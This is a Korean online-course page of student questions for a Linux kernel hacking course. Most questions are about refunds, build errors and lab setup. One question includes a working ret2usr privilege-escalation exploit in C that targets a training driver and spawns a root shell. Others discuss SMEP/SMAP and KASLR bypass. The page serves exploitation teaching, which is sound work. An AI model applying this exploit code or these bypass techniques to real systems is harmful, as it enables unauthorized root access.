월 33,000원
5개월 할부 시다른 수강생들이 자주 물어보는 질문이 궁금하신가요?
- 미해결리눅스 커널 해킹. A부터 Z까지
이 강의 환불할려고하는데
잘몰라서 강의를 환불할려고하는데 진도율 3.03이면 환불가능한가요??
- 미해결리눅스 커널 해킹. A부터 Z까지
boot.sh 파일이 어디있나요 ..
그리고 build_result 폴더는 어디있나요 ㅠㅠㅠ찾을 수가 없습니다
- 미해결리눅스 커널 해킹. A부터 Z까지
./boot.sh 이 .. 잘 안돼요
같은 공간에 이미지하고 cpio 다 있는데도 이러는데 왜이럴까요,..
- 미해결리눅스 커널 해킹. A부터 Z까지
why do we need heap alloc here?
I think direct copy between user and kernel stack is enough. Why do we alloc kernel heap? I'm just curious.
- 미해결리눅스 커널 해킹. A부터 Z까지
user perm in rootfs.cpio
user perm in the given rootfs.cpio is root. it is supposed to be 1000. you need to fix it and re-upload it. I had to follow the lecture in a reversed way.
- 미해결리눅스 커널 해킹. A부터 Z까지
이론강의 자료 다운로드 문의
안녕하세요? 강의 잘 듣고 있습니다. 이론 강의 자료는 다운로드 불가능한가요??
- 미해결리눅스 커널 해킹. A부터 Z까지
ret2usr 기법 관련 질문있습니다.
안녕하세요. ret2usr 실습을 해보다가 궁금한 점이 생겨서 질문드립니다. /* gcc -masm=intel -static -o test_exp test_exp.c -no-pie */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdint.h> unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); void payload(void) { commit_creds(prepare_kernel_cred(0)); execl("/bin/sh", "sh", NULL); } int main() { int fd; void *ptr = 0; commit_creds = 0xffffffff8108e9f0; prepare_kernel_cred = 0xffffffff8108ec20; fd = open("/dev/test", O_RDWR); ptr = &payload; printf("Shell executing...\n"); write(fd, &ptr, sizeof(ptr)); close(fd); printf("Shell executed?\n"); return 0; } payload함수의 주소를 넘겨주고, 이걸 커널에서 fp_exec() 로 실행할 수 있으니,위의 코드처럼 그냥 shell 함수를 commit_creds(prepare_kernel_cred(0)) 이후에 execl 을 하도록 수정한 뒤, test 드라이버에 shell 함수의 주소를 넘겨서 테스트해보았습니다. 결과적으로는 커널 패닉이 났고, gdb 로 어느정도 디버깅을 해보았지만 심볼이 없다보니 정확히 어느 부분에서 패닉이 나는지 찾기 어렵더라구요. 그래서 커널 모드에서 유저 모드로의 전환없이 execv 시스템콜을 호출하려고 해서 패닉이 났을거라고 추측은 해봤는데, 이 추측이 맞은 것인지 궁금합니다.
- 미해결리눅스 커널 해킹. A부터 Z까지
리눅스 커널 빌드에 관련된 오류
make -j 4 명령어로 커널 빌드를 시도했으나 libelf-dev, libelf-devel을 설치하라는 오류를 따라 설치를 시도했으나 Unable to locate package 오류가 발생해 진전되지 않습니다. 구글검색을 통해 해결해보려고 해도 해결되지 않아 질답 게시글로 올려봅니다.
- 미해결리눅스 커널 해킹. A부터 Z까지
혹시 강사님께서 아프신가요?
안녕하세요 강의 업데이트가 계속 안되고 있는것 같은데 혹시 강사님께서 다시 몸이 안좋으신가요?
- 해결됨리눅스 커널 해킹. A부터 Z까지
Kernel Stack Pivoting 질문 (SMAP bypass)
안녕하세요! 우선 좋은 강의 감사드리며, 잘 듣고 있습니다 :) 다름이 아니라 Kernel Stack Pivoting 강의에서 SMEP만 적용되어 있는 환경에서는 가젯을 사용하여 유저 공간으로 rsp를 이동시킨 뒤 해당 주소에 fake stack을 생성하여 Kernel ROP를 통해 권한 상승을 일으킬 수 있지만, SMAP가 적용되어 커널 모드에서 유저 공간으로의 접근이 아예 차단되어 있는 환경에서는 위 방법이 아닌 조금 더 복잡한 방법을 사용해야 한다고 하셨습니다. 이 부분에서 SMAP이 적용되어 있는 환경에서는 Kernel Stack Pivoting을 어떤 방법으로 사용하여 권한 상승을 일으키는지 궁금하게 되어 이렇게 질문을 남기게 되었습니다. 감사합니다.
- 미해결리눅스 커널 해킹. A부터 Z까지
Target 작성 방법관련 문의드립니다
안녕하세요, 제가 강의 들으면서 제 스스로 수업자료와 동일한 환경을 직접 구성해보고 있습니다. Linux kernel 5.4.80 버전을 사용해서 환경을 구성하였는데, exp 실행파일에서 root 권한으로 exploit이 되지 않는 현상이 있었습니다. 수업자료만 가지고 실습을 하면 정상적으로 exploit이 되었기 때문에, 제가 수업자료의 test.ko 와 init을 복사해서 qumu를 수행했을 때, 아래와 같은 에러 메시지가 나타나는 것을 확인했습니다. [ 2.726475] test: version magic '5.8.5 SMP mod_unload ' should be '5.4.80 SMP mod_unload ' insmod: can't insert 'test.ko': invalid module format 수업자료는 5.8.5 kernel 에서 test.ko가 빌드된 것으로 보이는데, 일단 로딩 문제도 있긴 하지만 제가 새롭게 구성한 환경인 5.4.80에서도 KASLR 우회가 잘 되어야 하는거 같은데, 혹시 해당 버전에서는 동작하지 않을 수 있나요?
- 미해결리눅스 커널 해킹. A부터 Z까지
aarch64 target 관련 문의
안녕하세요, 좋은 강의 잘 듣고 있습니다^^ 제가 강의에서 제공되는 수업자료를 사용하면서, qemu-system-aarch64 에도 병행해서 실습을 진행하고 있는데요(제가 embedded 쪽 관련 업무를 하고 있어서요), 예제 소스코드를 aarch64-linux-gnu-gcc로 크로스 컴파일하면 asm코드에서 에러가 나는데, 이것을 해결하려면 제가 직접 asm 코드를 arm instruction으로 포팅해야하는 것이지요? 혹시 converting 해주는 tool 같은게 있나요? 감사합니다. (몸 잘 회복하시고, 얼른 쾌차하세요!)